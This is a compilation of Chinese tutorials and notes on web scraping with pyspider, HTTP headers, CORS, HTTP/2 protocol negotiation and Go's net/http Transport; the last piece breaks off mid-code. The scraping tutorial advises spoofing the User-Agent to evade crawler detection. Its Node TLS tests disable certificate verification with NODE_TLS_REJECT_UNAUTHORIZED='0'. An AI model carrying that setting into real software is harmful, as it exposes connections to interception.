在这一篇教程中，我们会讨论这些技术 和 抓取他们的方法。（英文版：AJAX-and-more-HTTP）


AJAX


AJAX 是 Asynchronous JavaScript and XML（异步的 JavaScript 和 XML）的缩写。AJAX 通过使用原有的 web 标准组件，实现了在不重新加载整个页面的情况下，与服务器进行数据交互。例如在新浪微博中，你可以展开一条微博的评论，而不需要重新加载，或者打开一个新的页面。但是这些内容并不是一开始就在页面中的（这样页面就太大了），而是在你点击的时候被加载进来的。这就导致了你抓取这个页面的时候，并不能获得这些评论信息（因为你没有『展开』）。


AJAX 的一种常见用法是使用 AJAX 加载 JSON 数据，然后在浏览器端渲染。如果能直接抓取到 JSON 数据，会比 HTML 更容易解析。


当一个网站使用了 AJAX 的时候，除了用 pyspider 抓取到的页面和浏览器看到的不同以外。你在浏览器中打开这样的页面，或者点击『展开』的时候，常常会看到『加载中』或者类似的图标/动画。例如，当你尝试抓取：http://movie.douban.com/explore





你会发现电影是『载入中...』


找到真实的请求


由于 AJAX 实际上也是通过 HTTP 传输数据的，所以我们可以通过 Chrome Developer Tools 找到真实的请求，直接发起真实请求的抓取就可以获得数据了。



	打开一个新窗口

	按 Ctrl+Shift+I (在 Mac 上请按 Cmd+Opt+I) 打开开发者工具。

	切换到网络（ Netwotk 面板）

	在窗口中打开 http://movie.douban.com/explore




在页面加载的过程中，你会在面板中看到所有的资源请求。





AJAX 一般是通过 XMLHttpRequest 对象接口发送请求的，XMLHttpRequest 一般被缩写为 XHR。点击网络面板上漏斗形的过滤按钮，过滤出 XHR 请求。挨个查看每个请求，通过访问路径和预览，找到包含信息的请求：http://movie.douban.com/j/searchX61Xsubjects?type=movie&tag=%E7%83%AD%E9%97%A8&sort=recommend&page_limit=20&page_start=0





在豆瓣这个例子中，XHR 请求并不多，可以挨个查看来确认。但在 XHR 请求较多的时候，可能需要结合触发动作的时间，请求的路径等信息帮助在大量的请求中找到包含信息的关键请求。这需要抓取或者前端的相关经验。所以，有一个我一直在提的观点，学习抓取的最好方法是：学会写网站。


现在可以在新窗口中打开 http://movie.douban.com/j/searchX67Xsubjects?type=movie&tag=%E7%83%AD%E9%97%A8&sort=recommend&page_limit=20&page_start=0，你会看到包含电影数据的 JSON 原始数据。推荐安装 JSONView（Firfox版）插件，这样可以看到更好看的 JSON 格式，展开折叠列等功能。然后，我们根据 JSON 数据，编写一个提取电影名和评分的脚本：


pythonclass Handler(BaseHandler):
    def on_start(self):
        self.crawl('http://movie.douban.com/j/search_subjects?type=movie&tag=%E7%83%AD%E9%97%A8&sort=recommend&page_limit=20&page_start=0',
                   callback=self.json_parser)

    def json_parser(self, response):
        return [{
            "title": x['title'],
            "rate": x['rate'],
            "url": x['url']
        } for x in response.json['subjects']]




  
	你可以使用 response.json 将结果转为一个 python 的 dict 对象

  




你可以在 http://demo.pyspider.org/debug/tutorial_douban_explore 获得完整的代码，并进行调试。脚本中还有一个使用 PhantomJS 渲染的提取版本，将会在下一篇教程中介绍。


HTTP


HTTP 是用来传输网页内容的协议。在前面的教程中，我们已经通过 self.crawl 接口提交了 URL 进行了抓取。这些抓取就是通过 HTTP 协议传输的。


在抓取过程中，你可能会遇到类似 403 Forbidden，或者需要登录的情况，这时候你就需要正确的 HTTP 参数进行抓取了。


一个典型的 HTTP 请求包如下，这个请求是发往 http://example.com/ 的：


httpGET / HTTP/1.1
Host: example.com
Connection: keep-alive
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.45 Safari/537.36
Referer: http://en.wikipedia.org/wiki/Example.com
Accept-Encoding: gzip, deflate, sdch
Accept-Language: zh-CN,zh;q=0.8
If-None-Match: "359670651"
If-Modified-Since: Fri, 09 Aug 2013 23:54:35 GMT




  
	请求的第一行包含 method, path 和 HTTP 协议的版本信息

  	余下的行被称为 header，是以 key: value 的形式呈现的

  	如果是 POST 请求，在请求结尾可能还会有 body 内容

  




你可以通过前面用过的 Chrome Developer Tools 工具查看到这些信息：





在大多数时候，使用正确的 method, path, headers 和 body 总是能抓取到你需要的信息的。


HTTP Method


HTTP Method 告诉服务器对 URL 资源期望进行的操作。例如在打开一个 URL 的时候使用的是 GET 方式，而在提交数据的时候一般使用 POST。


TODO： need example here


HTTP Headers


HTTP Headers 是请求所带的一个参数列表，你可以在 这里 找到完整的常用 Headers 列表。一些常用的需要注意的有：


User-Agent


UA 是标识你使用的浏览器，或抓取程序的一段字符串。pyspider 使用的默认 UA 是 pyspider/VERSION (+http://pyspider.org/)。网站常用这个字符串来区分用户的操作系统和浏览器，以及判断对方是否是爬虫。所以在抓取的时候，常常会对 UA 进行伪装。


在 pyspider 中，你可以通过 self.crawl(URL, headers={'User-Agent': 'pyspider'})，或者是 crawl_config = {'headers': {'User-Agent': 'xxxx'}} 来指定脚本级别的 UA。详细请查看 API 文档。


Referer


Referer 用于告诉服务器，你访问的上一个网页是什么。常常被用于防盗链，在抓取图片的时候可能会用到。


X-Requested-With


当使用 XHR 发送 AJAX 请求时会带上的 Header，常被用于判断是不是 AJAX 请求。例如在 北邮人论坛 中，你需要：


python    def on_start(self):
        self.crawl('http://bbs.byr.cn/board/Python',
                   headers={'X-Requested-With': 'XMLHttpRequest'},
                   callback=self.index_page)



带有 headers={'X-Requested-With': 'XMLHttpRequest'} 才能抓取到内容。


HTTP Cookie


虽然 Cookie 只是 HTTP Header 中的一个，但是因为非常重要，但是拿出来说一下。Cookie 被 HTTP 请求用来区分、追踪用户的身份，当你在一个网站登录的时候，就是通过写入 Cookie 字段来记录登录状态的。


当遇到需要登录的网站，你需要通过设置 Cookie 参数，来请求需要登录的内容。Cookie 可以通过开发者工具的请求面板，或者是资源面板中获得。在 pyspider 中，你也可以使用 response.cookies 获得返回的 cookie，并使用 self.crawl(URL, cookie={'key': 'value'}) 来设置请求的 Cookie 参数。




原文：http://blog.binux.me/2015/01/pyspider-tutorial-level-2-ajax-and-more-http/


 HTTP报文

作者：totoo

来源： HTTP报文



                    
HTTP报文有关的笔记，以备不时之需。

HTTP报文格式

报文首部
空行（CR+LF）
报文主体



通常，不一定要有报文主体。

请求报文的报文首部

请求行
请求首部字段
通用首部字段
实体首部字段
其他



请求行：包含请求方法、请求URI和HTTP版本（还应该以回车换行符CRLF结尾），如：
GET /index.html HTTP/1.1

请求方法：


	GET：最常见，向服务器请求某个资源


	POST：起初用于向服务器输入数据。实际上，通常用于HTML表单数据的提交


	HEAD：与GET的行为类似，但服务器返回的响应中只包含首部，不会返回主体部分


	PUT：向服务器写入文档


	DELETE：删除指定资源


	TRACE：服务器回送收到的请求信息给客户端，主要用于诊断


	CONNECT


	OPTIONS：查询服务器支持的方法（通用或针对指定资源）




响应报文的报文首部

状态行
响应首部字段
通用首部字段
实体首部字段
其他



状态行：包含表明响应结果的状态码、原因短语和HTTP版本，如：
HTTP/1.1 200 OK

状态码（常见）：


	
1×× Informational 信息性状态码


	100 Continue


	101 Switching Protocols






	
2×× Success 成功状态码


	200 OK 成功


	204 No Content 成功，但不返回任何实体的主体部分


	206 Partial Content 成功执行了一个范围（Range）请求






	
3×× Redirection 重定向状态码


	301 Moved Permanently 永久性重定向，响应报文的Location首部应该有该资源的新URL


	302 Found 临时性重定向，响应报文的Location首部给出的URL用来临时定位资源


	303 See Other 请求的资源存在着另一个URI，客户端应使用GET方法定向获取请求的资源


	304 Not Modified 客户端发送附带条件的请求（请求首部中包含如If-Modified-Since等指定首部）时，服务端有可能返回304，此时，响应报文中不包含任何报文主体。


	307 Temporary Redirect 临时重定向。与302 Found含义一样。302禁止POST变换为GET，但实际使用时并不一定，307则更多浏览器可能会遵循这一标准，但也依赖于浏览器具体实现。






	
4×× Client Error 客户端错误状态码


	400 Bad Request 请求报文中存在语法错误


	401 Unauthorized需要认证，会有适当的首部一同返回


	404 Not Found 服务器上无法找到请求的资源






	
5×× Server Error 服务器错误状态码


	500 Internel Server Error 服务端在执行请求时发生了错误


	503 Service Unavailable 服务器暂时无法提供服务，可以包含Retry-After首部








首部字段

HTTP首部字段按照实际用途被分为通用首部字段（General Header Fields）、请求首部字段（Request Header Fields）、响应首部字段（Response Header Fields）和实体首部字段（Entity Header Fields）。

按照首部字段在有代理时的不同行为，首部字段又可以分为端到端首部（End-to-end Header）和逐跳首部（Hop-by-hop Header）。逐跳首部只对单次转发有效，经过缓存或代理后不再转发，HTTP/1.1和之后的版本中，要使用逐跳首部时需提供Connection首部字段。端到端首部则会一直发送给最终接收目标。

通用首部字段

通用信息性首部字段：


	
Connection，两个作用：


	
控制不再转发给代理的首部字段（即逐跳首部）。应用程序会删除报文中所有在Connection首部中出现过的首部，如下示例：

# 客户端请求首部
GET / HTTP/1.1
Upgrade: HTTP/1.1
Connection: Upgrade

# 经过代理服务器后发送给Web服务器的首部
GET / HTTP/1.1



	
管理持久连接


	Connection: close HTTP/1.1默认都是持久连接，使用close后会明确断开连接


	Connection: keep-alive HTTP/1.1之前的版本默认都是非持久连接，使用keep-alive可以维持持久连接










	Date 创建HTTP报文的时间和日期


	Trailer 说明在报文主体后记录了哪些首部字段


	Transfer-Encoding 传输报文主体时采用的编码方式


	Upgrade 用于检测HTTP协议及其他协议是否可使用更高的版本进行通信


	Via 追踪客户端与服务器之前的请求和响应报文的传输路径




通用缓存首部字段：


	
Cache-Control 管理缓存信息，是HTTP/1.1引入的一个复杂首部。


	
请求指令


	no-cache 客户端不接收缓存过的响应


	no-store 不缓存响应或请求的任何内容


	max-age = [秒] 告诉缓存服务器，如果缓存时间没超过指定时间，就返回缓存


	max-stale( = [秒]) 即使缓存过期，只要小于该值，也照常接收


	min-fresh = [秒]


	no-transform  缓存不能改变实体主体的媒体类型


	only-if-cached 只有缓存服务器有缓存指定资源时才返回，否则，返回504 Gateway Timeout


	cache-extension






	
响应指令


	public 其他用户也可以使用该缓存


	private 只有特定用户能使用该缓存


	no-cache 缓存服务器可以缓存，但是每次提供给客户端前都必须与服务器确认有效期


	no-store 不缓存响应或请求的任何内容


	no-transform 缓存不能改变实体主体的媒体类型


	must-revalidate 返回缓存时，必须再次验证。会使max-stale无效


	proxy-revalidate 告知缓存服务器，客户端带有该指令时必须验证缓存有效性


	max-age = [秒] 在指定时间内不需要像源服务器确认。HTTP/1.1优先处理max-age，HTTP/1.0优先处理Expires


	s-maxage = [秒] 与max-age功能相同，但s-maxage只适用于供多位用户使用的公共缓存服务器


	cache-extension










	Pragma HTTP/1.1以前的遗留字段Pargma: no-cache与Cache-Control: no-cache功能一致，只用在客户端发送请求时




请求首部字段

请求信息性首部字段：


	From 请求来自何方，格式是客户端用户的有效电子邮件地址


	Host 服务器的主机名和端口号


	Referer 这次请求的URL是从哪里获得的


	User-Agent 客户端的浏览器或代理信息




Accept首部字段：


	Accept 客户端通过该首部字段告诉服务器自己可以接收哪些媒体类型，如text/html、image/*、*/*。此外，还有可以权重系数（q值）来表示媒体类型的优先级。


	Accept-Charset 客户端可以接收哪些字符集，也可以有q值


	
Accept-Encoding 客户端支持的内容编码及内容编码的优先级顺序。


	gzip 由文件压缩程序gzip生成的编码格式


	compress 由UNIX文件压缩程序compress生成的编码格式


	deflate 组合使用zlib格式及由deflate压缩算法生成的编码格式


	identify 不执行压缩或不会变化的默认编码格式






	Accept-Language 客户端能够处理的自然语言集（中文、英文等）


	TE 客户端能够处理的传输编码，还可以指定伴随trailer字段的分块传输编码方式




条件请求首部字段：


	Expect 客户端通过该首部字段告知服务器它们需求某种行为，现在该首部与响应码100 Continue紧密相关。如果服务器无法理解该首部的值，就应该返回417 Expectation Failed


	If-Match 服务器会比对该字段的值和资源的ETag值，仅当两者一致时，才会执行请求，否则，返回412 Precondition Failed。该字段值为*时，会忽略ETag值


	If-Modified-Since 该字段值应该是一个日期，如果服务器上资源的更新时间较该字段值新则处理该请求，否则，返回304 Not Modified


	If-None-Match 与If-Match相反，该字段的值与请求资源的ETag不一致时，处理该请求


	If-Range 该字段的值（ETag或时间）与资源的ETag或时间一致时，作为范围请求处理（参加首部字段Range）。否则，返回全体资源


	If-Unmodified-Since 与If-Modified-Since相反，服务器上资源的更新时间早于该字段值时处理请求，否则，返回412 Precondition Failed


	Range 范围请求，只获取部分资源。如Range: bytes=5001-10000，表示获取从第5001字节至10000字节的资源。成功处理范围请求时返回206 Partial Content响应，无法处理范围请求时返回200 OK响应及全部资源




安全请求首部字段：


	Authorization 向服务器回应自己的身份验证信息。客户端收到来自服务器的401 Authentication Required响应后，要在其请求中包含这个首部


	Cookie HTTP/1.1中没有定义，用于客户端识别和跟踪的扩展首部




代理请求首部字段：


	Max-Forwards 只能和TRACE方法一起使用，指定经过代理或其他中间节点的最大数目。每个收到带此首部的TRACE请求的应用程序，在请求转发之前都要将这个值减1；如果应用程序收到请求时，该首部值为0，则立即回应一条200 OK响应


	Proxy-Authorization 与Authorization类似，用于客户端与代理服务器之间的身份验证




响应首部字段

响应信息性首部字段：


	Age 响应已经产生了多长时间。HTTP/1.1规定缓存服务器在创建响应时必须包含Age首部


	Location 客户端应重定向到指定URI，基本配合3**响应出现


	Retry-After 告诉客户端多久之后再次发送请求。主要配合503 Service Unavailable使用，或与3**响应一起使用


	Server HTTP服务器的应用程序信息


	Warning




协商首部字段：


	Accept-Ranges 服务器是否能处理范围请求，bytes表示能，none表示不能


	
Vary


	通知客户端，服务器端的协商中会使用哪些来自客户端请求的首部


	缓存控制：对某次请求，响应报文的Vary中会指定一些首部名称，客户端后续请求相同资源时，这些首部与缓存的那次请求完全一致时才会返回缓存的资源








安全响应首部字段：


	Proxy-Authorizate 与WWW-Authenticate类似，用于代理与客户端之间的认证，407 Proxy Authentication Required响应必须包含该首部


	Set-Cookie 非HTTP/1.1标准首部


	WWW-Authenticate 告诉客户端访问所请求资源的认证方案，401 Unauthorized响应中肯定有该首部




实体首部字段

实体首部字段是在请求报文和响应报文中的实体部分所使用的首部，用于补充内容的更新时间等与实体相关的信息

实体信息性首部字段：

	Allow 通知客户端可以对特定资源使用那些HTTP方法。405 Method Not Allowed响应中必须包含该首部




内容首部字段：


	Content-Encoding 告诉客户端实体的主体部分选用的内容编码方式。具体方式参见Accept-Encoding


	Content-Language 告诉客户端实体主体使用的自然语言（中文、英文等）


	Content-Length 表明实体主体部分的大小（单位：字节）。对实体主体进行内容编码传输时，不能再使用该首部字段


	Content-Location 报文主体部分相对应的URI


	Content-MD5 一串由MD5算法生成的值。对于检查在传输过程中数据是否被无意的修改非常有用，但不能用于安全目的，因为报文如果被有意的修改，该字段的值也可以计算后作相应修改


	Content-Range 针对范围请求，提供了请求实体在原始实体内的位置（范围），还给出了整个实体的长度


	Content-Type 响应报文中对象的媒体类型




实体缓存首部字段：


	ETag 实体标记，就是一种标识资源的方式


	Expires 资源失效日期，当Cache-Control有指定max-age指令时，会优先处理max-age


	Last-Modified 资源最终修改时间





 浏览器同源策略以及跨域请求时可能遇到的问题

作者：kukuv2

来源： 浏览器同源策略以及跨域请求时可能遇到的问题



                    
跨域请求基础知识

浏览器的同源策略

        浏览器的源指的是 协议://域名:端口 这样的URL组合。我们首先要明确几点


	www.foo.com 和 foo.com 是不同域


	www.foo.com 和 www.foo.com/b/1 是同域的，因为浏览器的源中不包含路径


	https 和 http 的协议不同，是不同域
当以上三个元素中的一个与网页的document.domain不相同时，浏览器会认为你的请求是跨越请求。




cookie机制

        经常容易与同源策略搞混的是cookie的发送机制。


	cookie 可以通过设置domain 为 domain=".foo.com" ， 这样设置如果用户访问的www.foo.com 或是user.foo.com 那么这个cookie都会被发送


	cookie 可以通过这事path 为 path="/auto/" ，这样设置如果用户访问的是www.foo.com/user时将不会发送这个cookie




修改当前域

	可以通过设置document.domain 为当前域的一个后缀来修改当前域，例如 可以将域名为 www.foo.com 的document.domain 设置为 foo.com  : document.domain="foo.com"来绕过一些跨域问题。




浏览器 -- 浏览器的跨域访问

        可以通过window.postMessage()来解决浏览器中不同页面不同域名的通信问题

浏览器 -- 服务器的跨域访问

        浏览器跨域访问不同域的服务器的解决方案一般有三种


	jsonp，利用JavaScript加载没有同域策略的机制。一般返回的数据格式是：callback（json）;


	Iframe间通信，在当前页面下append一个Iframe。例如




$(document.body).append('<IFRAME id="authIframe" style="display:none">');
$('iframe#authIframe').attr('src', CONST_CONTENT_ROOT_URL+'/index.jsp');
$('iframe#authIframe').load(function(){
            });

	服务器返回带有HTTP access control 的头来实现跨域访问。




HTTP access control (CORS)

        使用Access-Control的跨域请求有两种，简单的跨域请求和带有先导请求（options）的跨域请求

简单的跨域请求

        简单的跨域请求和带有先导请求的跨域请求最大的区别是他不会先发送一个先导请求。
        浏览器对简单的跨域请求的定义是


	请求方法是get，post，head中的一种


	content-Type必须为application/x-www-form-urlencoded, multipart/form-data, 或text/plain中的一种


	没有自定义请求头




带有先导请求（options）的跨域请求

        带有先导请求（options）的跨域请求，浏览器会自动先发送一个options方法的请求到服务器端，并查看相应头里是否有Access-Control头部。值得注意的是options方法的请求并不会携带cookie，也就是如果如果你的请求必须要登陆验证的话那么你就必须构造一个简单请求。

下面是一些常用的Access-Control头部
请求头


	Access-Control-Request-Method ： 先导请求中的请求头，告诉服务器真实请求的http方法


	Access-Control-Request-Headers ：先导请求中的请求头，告诉服务器真实请求的http请求头
相应头


	Access-Control-Allow-Origin ：服务器允许跨域请求的origin


	Access-Control-Expose-Headers ： 允许JavaScript读取的头部


	Access-Control-Allow-Credentials ：是否允许携带cookie


	Access-Control-Allow-Methods ：允许的请求方法


	Access-Control-Allow-Headers ：允许的请求头部




https://developer.mozilla.org/zh-TW/docs/HTTP/Access_control_CORS#Access-Control-Allow-Origin



由于水平有限，出错难免，如有出错，还望指正，谢谢！


 http2-协议协商过程

作者：1000copy

来源： http2-协议协商过程



                    
http/2 协议刚刚发布不久，http1.1的服务器和客户端依然大量存在，新老协议必定长期共存一段时间。这样，浏览器和服务器就需要协商使用何种协议进行通讯。


主流的方法是使用ALPN或者NPN来做协商。


Next Protocol Negotiation (NPN)是一个使SPDY在TLS服务器上对使用何种应用层协议进行协商的协议。IETF（h2的标准化组织）拿到这个，肯定要改改，然后盖个章，把它变成标准。名字也改了叫ALPN（Application Layer Protocol Negotiation）。


区别是有的。就在于谁持有会话协议的决定权。ALPN是由客户端给服务器发送一个协议清单，由服务器来最终选择一个。而NPN则正好相反。


Node 已经在tls模块内实现了NPN支持。只要创建tls服务器(createServer)，在options参数内传递服务器支持的协议清单NPNProtocols，在客户端连接（connect)传递NPNProtocols，这样建立连接后，就可以在socket.npnProtocol内得到协商的结果。


请看mocha测试用例：


describe('tls', function() {
    it('npn', function() {      
     var fs = require('fs');
        var path = require('path');
        var tls = require('tls');
        tls.createServer({
          key: fs.readFileSync("example/localhost.key"),// 私有键
          cert: fs.readFileSync("example/localhost.crt"),// 证书
          NPNProtocols: ['h2', 'http 1.1','http 1.0'] // 服务器支持协议清单
        }, function(socket) {
          console.log("s1:"+socket.npnProtocol);// 协商结果
        }).listen(1111);
        //client
      process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
      tls.connect({ port: 1111 }, function() {
      });
      tls.connect({ port: 1111 ,NPNProtocols: ['h2'] }, function() {     
      });
      tls.connect({ port: 1111, NPNProtocols: ['http 1.1'] }, function() {
      });      
      tls.connect({ port: 1111, NPNProtocols: ['http 1.0'] }, function() {
      });
    })
  })



输出结果


  my.js
    scenario
      tls
        √ npn (279ms)
s1:http/1.1
s1:h2
s1:http 1.1
s1:http 1.0




程序员的代码常常气死写文字的人——因为一堆艰涩文字，变成代码常常简单无比。


理论上来说，http/2 可以架构在tls（加密通道）上，也可以架构在tcp（平文本）上。协议文本也确实没有限定或者强制使用tls信道。但是，h2的前身是spdy，而spdy是在tls之上的；spdy的主人家google的浏览器，chrome也只支持tls;另外一家主流浏览器firefox也跟进。这就让架构于tls之上就成为http/2的事实上的标准。所有协商协议也都支持NPN（tls的一个扩展）。


两家浏览器厂商的做法，其实并非强梁，而是基于现实考量：

1. 大量现存的代理、中介软件，都假设80端口上跑的是http1.1，并且基于这个假设，对流经它们的流量做出修改。如果h2继续使用80，很可能和这些修改发生冲突。使用tls（默认为443端口）就避开了这个冲突的可能性

2. 加密化信道（相比http1.x）对用户隐私是更好的保护


通过平文本升级协议到h2，依然可能。采用的是现存的http1.1的升级机制。


GET /page HTTP/1.1
Host: server.example.com
Connection: Upgrade, HTTP2-Settings
Upgrade: h2c 
HTTP2-Settings: (SETTINGS payload) 

HTTP/1.1 200 OK 
Content-length: 243
Content-type: text/html

(... HTTP/1.1 response ...)

          (or)

HTTP/1.1 101 Switching Protocols 
Connection: Upgrade
Upgrade: h2c

(... HTTP/2 response ...)



由 Upgrade指定升级目标协议, HTTP2-Settings传递base64后的settings。如果服务器为1.1的，那么返回1.1的响应。否则，就发101 Switching Protocols ，随后升级为h2。


因为这个做法比NPN要做一个网络往返，这个做法(101 Switching Protocols )被很多实现忽略。比如，node-http2就没有实现（请脑补标准机构的脸色：）。在程序员友好，客户友好的柔情面纱下面，遇到核心的性能问题，依然是一片丛林景象。


尽管node-http2代码内，把ALPN的协议协商也有，并且堂而皇之的也和NPN一样：


    options.ALPNProtocols = supportedProtocols;
    options.NPNProtocols = supportedProtocols;
    ...
    this._server = https.createServer(options);



但是经过测试，node还没有支持ALPN，有测试用例为证：


describe('tls', function() {
    it('alpn', function() {      
     var fs = require('fs');
        var path = require('path');
        var tls = require('tls');
        tls.createServer({
          key: fs.readFileSync("example/localhost.key"),
          cert: fs.readFileSync("example/localhost.crt"),
          ALPNProtocols: ['h2', 'http 1.1','http 1.0']
        }, function(socket) {
          console.log("s1:"+socket.npnProtocol);
        }).listen(1111);
        //client
      process.env.NODE_TLS_REJECT_UNAUTHORIZED = "0";
      tls.connect({ port: 1111 }, function() {          
      });
      tls.connect({ port: 1111 ,ALPNProtocols: ['h2'] }, function() {

      });
      tls.connect({ port: 1111, ALPNProtocols: ['http 1.1'] }, function() {

      });      
      tls.connect({ port: 1111, ALPNProtocols: ['http 1.0'] }, function() {

      });
    })
  })



根本就没有协商，怎么样都是http/1.1 ！


  my.js
    scenario
      tls
        √ alpn (307ms)
s1:http/1.1
s1:http/1.1
s1:http/1.1
s1:http/1.1




关于Node对alpn的支持，文档也没有提及，但是在issue内有提到，它们正在等待openssl实现并且稳定。稳！定！openssl这几年出的糗还少吗，什么时候能弄稳定呢。


 Go 标准库剖析 1（transport http 请求的承载者）
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使用golang net/http库发送http请求，最后都是调用 transport的 RoundTrip方法

type RoundTripper interface {
    RoundTrip(*Request) (*Response, error)
}

RoundTrip executes a single HTTP transaction, returning the Response for the request req. (RoundTrip 代表一个http事务，给一个请求返回一个响应) 
说白了，就是你给它一个request,它给你一个response

下面我们来看一下他的实现，对应源文件net/http/transport.go，我感觉这里是http package里面的精髓所在，go里面一个struct就跟一个类一样，transport这个类长这样的

type Transport struct {
    idleMu     sync.Mutex
    wantIdle   bool // user has requested to close all idle conns
    idleConn   map[connectMethodKey][]*persistConn
    idleConnCh map[connectMethodKey]chan *persistConn

    reqMu       sync.Mutex
    reqCanceler map[*Request]func()

    altMu    sync.RWMutex
    altProto map[string]RoundTripper // nil or map of URI scheme => RoundTripper
    //Dial获取一个tcp 连接，也就是net.Conn结构，你就记住可以往里面写request
    //然后从里面搞到response就行了
    Dial func(network, addr string) (net.Conn, error)
}

篇幅所限， https和代理相关的我就忽略了， 两个 map 为 idleConn、idleConnCh，idleConn 是保存从 connectMethodKey （代表着不同的协议 不同的host，也就是不同的请求）到 persistConn 的映射， idleConnCh 用来在并发http请求的时候在多个 goroutine 里面相互发送持久连接，也就是说， 这些持久连接是可以重复利用的， 你的http请求用某个persistConn用完了，通过这个channel发送给其他http请求使用这个persistConn，然后我们找到transport的RoundTrip方法

func (t *Transport) RoundTrip(req *Request) (resp *Response, err error) {
    ...
    pconn, err := t.getConn(req, cm)
    if err != nil {
        t.setReqCanceler(req, nil)
        req.closeBody()
        return nil, err
    }

    return pconn.roundTrip(treq)
}

前面对输入的错误处理部分我们忽略， 其实就2步，先获取一个TCP长连接，所谓TCP长连接就是三次握手建立连接后不close而是一直保持重复使用（节约环保） 然后调用这个持久连接persistConn 这个struct的roundTrip方法

我们跟踪第一步

func (t *Transport) getConn(req *Request, cm connectMethod) (*persistConn, error) {
    if pc := t.getIdleConn(cm); pc != nil {
        // set request canceler to some non-nil function so we
        // can detect whether it was cleared between now and when
        // we enter roundTrip
        t.setReqCanceler(req, func() {})
        return pc, nil
    }
 
    type dialRes struct {
        pc  *persistConn
        err error
    }
    dialc := make(chan dialRes)
    //定义了一个发送 persistConn的channel

    prePendingDial := prePendingDial
    postPendingDial := postPendingDial

    handlePendingDial := func() {
        if prePendingDial != nil {
            prePendingDial()
        }
        go func() {
            if v := <-dialc; v.err == nil {
                t.putIdleConn(v.pc)
            }
            if postPendingDial != nil {
                postPendingDial()
            }
        }()
    }

    cancelc := make(chan struct{})
    t.setReqCanceler(req, func() { close(cancelc) })
 
    // 启动了一个goroutine, 这个goroutine 获取里面调用dialConn搞到
    // persistConn, 然后发送到上面建立的channel  dialc里面，    
    go func() {
        pc, err := t.dialConn(cm)
        dialc <- dialRes{pc, err}
    }()

    idleConnCh := t.getIdleConnCh(cm)
    select {
    case v := <-dialc:
        // dialc 我们的 dial 方法先搞到通过 dialc通道发过来了
        return v.pc, v.err
    case pc := <-idleConnCh:
        // 这里代表其他的http请求用完了归还的persistConn通过idleConnCh这个    
        // channel发送来的
        handlePendingDial()
        return pc, nil
    case <-req.Cancel:
        handlePendingDial()
        return nil, errors.New("net/http: request canceled while waiting for connection")
    case <-cancelc:
        handlePendingDial()
        return nil, errors.New("net/http: request canceled while waiting for connection")
    }
}

这里面的代码写的很有讲究 , 上面代码里面我也注释了， 定义了一个发送 persistConn的channel dialc， 启动了一个goroutine, 这个goroutine 获取里面调用dialConn搞到persistConn, 然后发送到dialc里面，主协程goroutine在 select里面监听多个channel,看看哪个通道里面先发过来 persistConn，就用哪个，然后return。

这里要注意的是 idleConnCh  这个通道里面发送来的是其他的http请求用完了归还的persistConn，  如果从这个通道里面搞到了，dialc这个通道也等着发呢，不能浪费，就通过handlePendingDial这个方法把dialc通道里面的persistConn也发到idleConnCh，等待后续给其他http请求使用。 

还有就是，读者可以翻一下代码，每个新建的persistConn的时候都把tcp连接里地输入流，和输出流用br（br       *bufio.Reader）,和bw(bw *bufio.Writer)包装了一下，往bw写就写到tcp输入流里面了，读输出流也是通过br读，并启动了读循环和写循环

pconn.br = bufio.NewReader(noteEOFReader{pconn.conn, &pconn.sawEOF})
pconn.bw = bufio.NewWriter(pconn.conn)
go pconn.readLoop()
go pconn.writeLoop()

我们跟踪第二步pconn.roundTrip 调用这个持久连接persistConn 这个struct的roundTrip方法。
先瞄一下 persistConn 这个struct

type persistConn struct {
    t        *Transport
    cacheKey connectMethodKey
    conn     net.Conn
    tlsState *tls.ConnectionState
    br       *bufio.Reader       // 从tcp输出流里面读
    sawEOF   bool                // whether we've seen EOF from conn; owned by readLoop
    bw       *bufio.Writer       // 写到tcp输入流
     reqch    chan requestAndChan // 主goroutine 往channnel里面写，读循环从     
                                 // channnel里面接受
    writech  chan writeRequest   // 主goroutine 往channnel里面写                                      
                                 // 写循环从channel里面接受
    closech  chan struct{}       // 通知关闭tcp连接的channel 
    
    writeErrCh chan error

    lk                   sync.Mutex // guards following fields
    numExpectedResponses int
    closed               bool // whether conn has been closed
    broken               bool // an error has happened on this connection; marked broken so it's not reused.
    canceled             bool // whether this conn was broken due a CancelRequest
    // mutateHeaderFunc is an optional func to modify extra
    // headers on each outbound request before it's written. (the
    // original Request given to RoundTrip is not modified)
    mutateHeaderFunc func(Header)
}

里面是各种channel, 用的是出神入化， 各位要好好理解一下， 我这里画一下

这里有三个goroutine，分别用三个圆圈表示， channel用箭头表示



有两个channel writeRequest 和 requestAndChan

type writeRequest struct {
    req *transportRequest
    ch  chan<- error
}

主goroutine 往writeRequest里面写，写循环从writeRequest里面接受

type responseAndError struct {
    res *Response
    err error
}

type requestAndChan struct {
    req *Request
    ch  chan responseAndError
    addedGzip bool
}

主goroutine 往requestAndChan里面写，读循环从requestAndChan里面接受。

注意这里的channel都是双向channel，也就是channel 的struct里面有一个chan类型的字段，  比如 reqch    chan requestAndChan  这里的 requestAndChan 里面的 ch  chan responseAndError。

这个是很牛叉，主 goroutine 通过 reqch 发送requestAndChan 给读循环，然后读循环搞到response后通过  requestAndChan 里面的通道responseAndError把response返给主goroutine，所以我画了一个双向箭头。

我们研究一下代码，我理解下来其实就是三个goroutine通过channel互相协作的过程。

主循环：

func (pc *persistConn) roundTrip(req *transportRequest) (resp *Response, err error) {
    ... 忽略
    // Write the request concurrently with waiting for a response,
    // in case the server decides to reply before reading our full
    // request body.
    writeErrCh := make(chan error, 1)
    pc.writech <- writeRequest{req, writeErrCh}
    //把request发送给写循环
    resc := make(chan responseAndError, 1)
    pc.reqch <- requestAndChan{req.Request, resc, requestedGzip}
    //发送给读循环
    var re responseAndError
    var respHeaderTimer <-chan time.Time
    cancelChan := req.Request.Cancel
WaitResponse:
    for {
        select {
        case err := <-writeErrCh:
            if isNetWriteError(err) {
                //写循环通过这个channel报告错误
                select {
                case re = <-resc:
                    pc.close()
                    break WaitResponse
                case <-time.After(50 * time.Millisecond):
                    // Fall through.
                }
            }
            if err != nil {
                re = responseAndError{nil, err}
                pc.close()
                break WaitResponse
            }
            if d := pc.t.ResponseHeaderTimeout; d > 0 {
                timer := time.NewTimer(d)
                defer timer.Stop() // prevent leaks
                respHeaderTimer = timer.C
            }
        case <-pc.closech:
            // 如果长连接挂了， 这里的channel有数据， 进入这个case, 进行处理
            
            select {
            case re = <-resc:
